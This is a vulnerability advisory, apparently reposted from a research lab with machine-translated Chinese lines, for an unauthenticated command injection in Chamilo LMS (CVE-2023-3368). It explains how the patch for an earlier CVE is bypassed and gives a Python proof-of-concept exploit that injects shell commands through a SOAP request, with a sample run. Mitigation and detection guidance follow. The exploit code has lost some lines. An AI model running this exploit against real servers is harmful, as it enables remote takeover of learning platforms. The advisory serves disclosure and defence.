(CVE-2023-3368) Chamilo LMS Unauthenticated Command Injection

Summary 总结

Product 产品 Chamilo 查米洛
Vendor 供应商 Chamilo 查米洛
Severity 严厉 High – Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
高 – 攻击者可能会利用软件漏洞获取未经身份验证的远程代码执行。
Affected Versions 受影响的版本 <= v1.11.20
Tested Versions 经测试的版本 v1.11.20 (latest version as of writing)
CVE Identifier CVE 标识符 CVE-2023-3368 CVE-2023-3368 漏洞
CVE Description CVE描述 Command injection in /main/webservices/additional_webservices.php in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. This is a bypass of CVE-2023-34960.
Chamilo LMS <= v1.11.20 中的命令注入允许未经身份验证的攻击者通过不当 /main/webservices/additional_webservices.php 中和特殊字符来获取远程代码执行。这是对 CVE-2023-34960 的绕过。
CWE Classification(s) CWE分类 CWE-78: Improper Neutralization of Special Elements used in an OS Command
CAPEC Classification(s) CAPEC分类 CAPEC-88 OS Command Injection
CAPEC-88 操作系统命令注入

CVSS3.1 Scoring System CVSS3.1 评分系统

Base Score: 9.8 (Critical)
基本分数:9.8 (critical)

Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H 向量字符串: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H

Metric 度量 Value 价值
Attack Vector (AV) 攻击媒介 (AV) Network 网络
Attack Complexity (AC) 攻击复杂度 (AC) Low
Privileges Required (PR) 所需权限 (PR) None 没有
User Interaction (UI) 用户交互 (UI) None 没有
Scope (S) 范围 (S) Unchanged 
Confidentiality (C) 保密性 (C) High 
Integrity (I) 诚信 (I) High 
Availability (A) 可用性 (A) High 

Product Overview 产品概述

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
Chamilo 是一个基于 PHP 的开源学习管理系统 (LMS),可促进在线教育和培训。它提供课程创建、内容管理、评估、协作和提供教育资源等功能。

Vulnerability Summary 漏洞摘要

The patch for CVE-2023-34960 (unauthenticated command injection) is insufficient, allowing for multiple bypasses of the sanitisation applied to user input used in constructing shell commands. Consequently, unauthenticated attackers may exploit the vulnerability to gain remote code execution.
CVE-2023-34960(未经身份验证的命令注入)的补丁不足,允许多次绕过应用于构建 shell 命令时使用的用户输入的清理。因此,未经身份验证的攻击者可利用此漏洞远程执行代码。

Note: The original vulnerability (CVE-2023-34960) was found to be exploited in the wild. As such, we strongly recommend Chamilo users to apply the latest security patches to mitigate this and 9 other high-severity vulnerabilities reported by STAR Labs.
注意:原始漏洞 (CVE-2023-34960) 被发现在野外被利用。因此,我们强烈建议 Chamilo 用户应用最新的安全补丁来缓解 STAR Labs 报告的此漏洞和其他 9 个高严重性漏洞。

Vulnerability Details 漏洞详情

Chamilo maintainers applied the following patch to main/webservices/additional_webservices.php in an attempt to address CVE-2023-34960:
Chamilo 维护者应用了以下补丁 main/webservices/additional_webservices.php ,试图解决 CVE-2023-34960:

 main/inc/lib/security.lib.php               | 10 ++++++++++
 main/webservices/additional_webservices.php | 11 +++++++----
 2 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/main/inc/lib/security.lib.php b/main/inc/lib/security.lib.php
index ac1b90e5618..c6490c5b1e2 100755
--- a/main/inc/lib/security.lib.php
+++ b/main/inc/lib/security.lib.php
@@ -632,4 +632,14 @@ private static function generateSecTokenVariable(string $prefix = ''): string
         return $prefix.'_sec_token';
+    /**
+     * Sanitize a string, so it can be used in the exec() command without
+     * "jail-breaking" to execute other commands.
+     * @param string $param The string to filter
+     * @return string
+     */
+    public static function sanitizeExecParam(string $param): string
+    {
+        return preg_replace('/[`;&|]/', '', $param);
+    }
diff --git a/main/webservices/additional_webservices.php b/main/webservices/additional_webservices.php
index effb6ccdf5c..965825bbcc0 100755
--- a/main/webservices/additional_webservices.php
+++ b/main/webservices/additional_webservices.php
@@ -29,10 +29,13 @@ function wsConvertPpt($pptData)
     $fileData = $pptData['file_data'];
-    $dataInfo = pathinfo($pptData['file_name']);
-    $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
-    $fullFileName = $pptData['file_name'];
-    $size = $pptData['service_ppt2lp_size'];
+    // Clean filename to avoid hacks. Prevents "&" and ";" to be used in filename, notably
+    $sanitizedFileName = Security::sanitizeExecParam($pptData['file_name']);
+    $dataInfo = pathinfo($sanitizedFileName);
+    $fileName = basename($sanitizedFileName, '.'.$dataInfo['extension']);
+    // Add additional cleaning of .php and .htaccess files
+    $fullFileName = Security::filter_filename($sanitizedFileName);
+    $size = Security::sanitizeExecParam($pptData['service_ppt2lp_size']);
     $w = '800';
     $h = '600';
     if (!empty($size)) {

However, on closer scrunity, it is clear that the sanitisation performed by Security::sanitizeExecParam() is insufficient – only certain shell meta-characters (backticks, semi-colons, ampersand, and pipe characters) are removed from the user input used in constructing a shell command.
然而,仔细观察,很明显,执行 Security::sanitizeExecParam() 的清理是不够的——只有某些 shell 元字符(反引号、分号、与号和竖线字符)从用于构造 shell 命令的用户输入中删除。

This means that the following techniques will still allow for command injection payloads to work just fine:

  • Using $() command substitutions
    使用 $() 命令替换
  • Injecting newlines in the shell commands to be executed, causing each line to be treated as separate shell commands to be executed.
    在要执行的 shell 命令中注入换行符,使每一行都被视为要执行的单独 shell 命令。

The command injection subsequently happens below:

    $cmd = pptConverterGetCommandBaseParams();
    $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'"  "'.$tempPathNewFiles.$fileName.'.html"';
    $shell = exec($cmd, $files, $return);

Exploit Conditions 漏洞利用条件

No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.

Proof-of-Concept 概念验证

  1. Save the following proof-of-concept exploit script as unauth-command-injection.py:
    将以下概念验证漏洞利用脚本另存为 unauth-command-injection.py :
#!/usr/bin/env python3
import argparse
import requests

SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{payload}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

def execute_command(url, command, technique):
    payload = f'$({command})' if technique == 'substitution' else f""""\n{command}\n"""
    data = SOAP_REQUEST_TEMPLATE.format(url=url, payload=payload)

        response = requests.post(f'{url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
        return (response.status_code == 200 and "wsConvertPptResponse" in response.text)
        return False

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
    parser.add_argument('-c', '--command', help='Command to execute', required=False)
    parser.add_argument('-t', '--technique', default='substitution', choices=['substitution', 'newline'], help='Command to execute', required=False)

    args = parser.parse_args()

    if args.command is None:
        if execute_command(args.url, 'id', args.technique):
            print(f'URL vulnerable: {args.url}')
            print(f'URL not vulnerable: {args.url}')
        if execute_command(args.url, args.command, args.technique):
            print(f'Command executed: {args.command}')
            print(f'An error has occured, URL is not vulnerable: {args.url}')

if __name__ == '__main__':
  1. Run the exploit script using python3 unauth-command-injection.py http://<target-chamilo>:<port> -c '<command>'. For example, the following command saves the id shell command output to /tmp/pwned on the target:
    使用 python3 unauth-command-injection.py http://<target-chamilo>:<port> -c '<command>' 运行漏洞利用脚本。例如,以下命令将 id shell 命令输出保存到 /tmp/pwned 目标上:

    $ python3 unauth-command-injection.py -u http://chamilo -c 'id > /tmp/pwned'
  2. On the target, verify that the /tmp/pwned file exists after executing the proof-of-concept exploit script:
    在目标上,在执行概念验证漏洞利用脚本后验证 /tmp/pwned 文件是否存在:

    $ cat /tmp/pwned
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Suggested Mitigations 建议的缓解措施

It is recommended to use escapeshellarg() to properly escape user-input used to construct shell commands, as well as remove dollar signs ($) and newlines (\n) in Security::sanitizeExecParam() as well.
建议用于正确转义用于 escapeshellarg() 构造 shell 命令的用户输入,以及删除美元符号 ( ) 和换行符 ( $ \n ) 。 Security::sanitizeExecParam()

End users are encouraged to update to the latest version of Chamilo.
鼓励最终用户更新到最新版本的 Chamilo。

Detection Guidance 检测指导

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /main/webservices/additional_webservices.php.
通过检查服务器的访问日志中是否有向 发出的所有请求,可以检测此漏洞的利用 /main/webservices/additional_webservices.php 情况。

Timeline 时间线

  • 2023-07-05 Vendor Disclosure
    2023-07-05 供应商披露
  • 2023-07-06 Initial Vendor Contact
    2023-07-06 初步供应商联系
  • 2023-07-18 Vendor published the vulnerability sumamry
    2023-07-18 供应商发布漏洞摘要
  • 2023-07-17 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
    2023-07-17 鉴于最近对 Chamilo N-day 漏洞 (CVE-2023-34960) 的野外利用,双方达成了延迟发布漏洞详细信息的协议
  • 2023-08-03 Vendor Patch Release (v1.11.22) completely fixing vulnerability
    2023-08-03 供应商补丁发布(v1.11.22)完全修复漏洞
  • 2023-11-28 Public Disclosure
    2023-11-28 公开披露


原文始发于@Creastery:(CVE-2023-3368) Chamilo LMS Unauthenticated Command Injection

版权声明:admin 发表于 2023年12月4日 上午11:48。
转载请注明:(CVE-2023-3368) Chamilo LMS Unauthenticated Command Injection | CTF导航